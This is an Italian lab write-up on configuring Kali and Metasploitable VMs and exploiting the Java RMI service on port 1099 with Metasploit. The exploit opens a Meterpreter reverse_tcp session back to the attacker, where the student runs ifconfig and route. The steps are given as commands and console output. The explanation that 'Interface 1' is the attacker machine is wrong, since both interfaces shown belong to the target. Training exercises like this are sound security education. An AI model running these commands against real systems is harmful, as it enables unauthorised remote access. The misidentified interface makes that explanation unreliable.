

## Consegna

L'esercizio di oggi riguarda l'ottenimento delle informazioni riguardanti la configurazione di rete e la tabella di routing della macchina virtuale "Metasploitable" tramite una sessione di "Meterpreter" sfruttando una vulnerabilità della porta 1099. Prima di fare tutto ciò è richiesto di cambiare l'indirizzo delle macchine virtuali come riportato:

- Kali deve avere l'indirizzo 192.168.11.111
- Metasploitable deve avere l'indirizzo 192.168.11.112

## Esecuzione Esercizio

Il primo passaggio per l'esecuzione dell'esercizio è cambiare gli indirizzi IP delle macchine, per poterlo fare basta eseguire il seguente comando:

**"sudo nano /etc/network/interfaces"**

Una volta fatto ciò bisogna configurare le impostazioni di rete come riportato nelle immagini sotto.

```
GNU nano 2.0.7 File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```
GNU nano 7.2 /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

Dopo aver salvato le modifiche, per essere sicuri di aver configurato correttamente le impostazioni di rete (dopo aver riavviato le macchine) si può eseguire il comando **"ifconfig"** per vedere se le modifiche apportate combaciano con i dati riportati.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:d9:73:61
      inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fed9:7361/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:0 errors:0 dropped:0 overruns:0 frame:0
      TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:0 (0.0 B) TX bytes:3962 (3.8 KB)
      Base address:0xd020 Memory:f0200000-f0220000

lo: Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:16436 Metric:1
      RX packets:105 errors:0 dropped:0 overruns:0 frame:0
      TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:20725 (20.2 KB) TX bytes:20725 (20.2 KB)
```

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)
    RX packets 13 bytes 1006 (1006.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 17 bytes 2494 (2.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Un'ulteriore conferma può essere ottenuta eseguendo un **“ping”** tra le due macchine per controllare se comunicano.

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.810 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.417 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.362 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.455 ms
^C
--- 192.168.11.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3049ms
rtt min/avg/max/mdev = 0.362/0.511/0.810/0.175 ms

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.382 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.471 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.332 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.360 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=0.368 ms
64 bytes from 192.168.11.111: icmp_seq=6 ttl=64 time=0.561 ms
--- 192.168.11.111 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 4996ms
rtt min/avg/max/mdev = 0.332/0.412/0.561/0.080 ms
msfadmin@metasploitable:~$
```

Dopo aver ottenuto la conferma definitiva di aver configurato in maniera appropriata le macchine si può iniziare avviando **“Metasploit”** con il comando **“msfconsole”**. Una volta avviato **“Metasploit”** bisogna cercare il modulo appropriato per l’exploit da eseguire. Nella consegna c’è scritto di dover sfruttare la vulnerabilità della porta 1099 di **“Metasploit”** sulla quale è attivo il servizio Java-RMI, di conseguenza per controllare i moduli appropriati bisogna eseguire il comando.

## “search java\_rmi”

Una volta fatto ciò i risultati dovrebbero essere i seguenti:

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SSL        false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)
```

Il modulo più consono per aprire una shell di **“Meterpreter”** tramite un exploit è quello sulla riga 1, di conseguenza bisogna eseguire il comando

**“use multi/misc/java\_rmi\_server”** oppure **“use 1”**

Una volta fatto ciò serve controllare che il modulo sia configurato correttamente, in particolare bisogna configurare gli elementi che nella colonna required presentano il parametro yes (ancora più nello specifico RHOSTS) lanciando il comando **“show options”**.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   (blank)          no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   (blank)          no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Per impostare come Remote Host bisogna eseguire il comando **“set RHOST 192.168.11.112”**, da notare come è stato inserito l’indirizzo IP di **“Metasploitable”** perché da consegna è il bersaglio dell’attacco.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   (blank)          no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   (blank)          no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Una volta lanciato l'exploit con il comando **“exploit”** dovrebbe essere avviata la sessione di **“Meterpreter”**. Per concludere l'esercizio basta lanciare il comando **“ifconfig”** per controllare se le impostazioni di rete sono impostate come all'inizio (da notare come Interface 1 rappresenta la macchina attaccante, mentre l'altra si riferisce alla macchina vittima), e il comando **“route”** per controllare la tabella di routing.

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed9:7361
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fed9:7361 ::           ::           0            eth0
```